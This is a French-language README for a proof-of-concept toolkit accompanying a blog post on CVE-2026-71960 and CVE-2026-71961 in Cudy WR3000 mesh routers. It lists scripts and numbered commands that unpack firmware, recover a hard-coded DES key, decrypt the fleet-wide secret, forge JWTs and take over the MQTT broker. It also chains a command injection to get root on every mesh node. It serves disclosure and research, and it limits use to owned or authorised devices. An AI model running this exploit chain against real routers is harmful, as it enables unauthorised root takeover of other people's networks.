
Boîte à outils PoC qui dépaquette le firmware des routeurs, déchiffre les secrets des appareils, forge des jetons JWT et exploite les CVE-2026-71960/71961 pour prendre le contrôle des courtiers MQTT du maillage Cudy WR3000.
Outillage PoC pour l'article de Hunt-Benito « La même clé ouvre toutes les boîtes : CVE-2026-71960 — Secret JWT codé en dur dans le broker MQTT mesh du Cudy WR3000 » (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
Chaîne avec CVE-2026-71961 (injection de commandes OS via la même interface MQTT mesh) pour atteindre l'exécution de commandes root sur chaque nœud d'un mesh Cudy WR3000 2.0 exécutant un firmware antérieur à 2.5.24.
| Fichier | Objectif |
|---|---|
extract_firmware.py | Extraire un .bin sysupgrade public de Cudy (hboot1tag + UBI) en un système de fichiers OpenWrt complet. Vérifié avec 2.4.14 / 2.4.15 / 2.5.24. |
decrypt_bdinfo.py | Dériver la clé DES (DES_string_to_key("88T3j05dtFu8="), IV nul — récupérée depuis libbdinfo.so) et déchiffrer un dump MTD bdinfo de votre propre appareil, révélant deviceid et le secret commun à toute la flotte. |
forge_jwt.py | Forger un jeton HS256 qui satisfait toutes les vérifications de mosquitto_auth_unpwd_check (plancher exp 1577826000, grant de nom d'utilisateur contenant le deviceid). Vérifie automatiquement le round-trip. |
mqtt_takeover.py | Se connecter au broker sur TCP 1883 avec le JWT forgé, s'abonner à router/#, et (optionnellement, --cmd) exercer le sink command.lua → io.popen de CVE-2026-71961. |
pip install pycryptodome pyjwt paho-mqtt
# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so appelle bdinfo_get_value("deviceid") et
bdinfo_get_value("secret") au démarrage du broker ; la valeur secret est
la clé de signature HS256 pour tous les JWT du mesh.exp du plugin est exp >= 1577826000 (2019-12-31T21:00:00Z) ;
le résultat de l'appel time() n'est jamais comparé — les jetons n'expirent en réalité jamais.alg: none est rejeté (EINVAL lorsqu'une clé est fournie) — le secret est
réellement requis ; il n'existe pas de raccourci par confusion d'algorithme.mosquitto_auth_acl_check() renvoie SUCCESS sans condition — un CONNECT
accepté accorde un accès en lecture/écriture sur tous les sujets.0.0.0.0:1883 (2.4.x) signifie qu'aucun certificat client TLS
n'est nécessaire. Le firmware corrigé 2.5.24 supprime l'écouteur 1883, retire
entièrement le secret bdinfo et s'appuie sur TLS mutuel.Pour la recherche en sécurité et l'éducation autorisées uniquement. À exécuter uniquement contre des appareils vous appartenant ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Les auteurs déclinent toute responsabilité en cas d'usage abusif.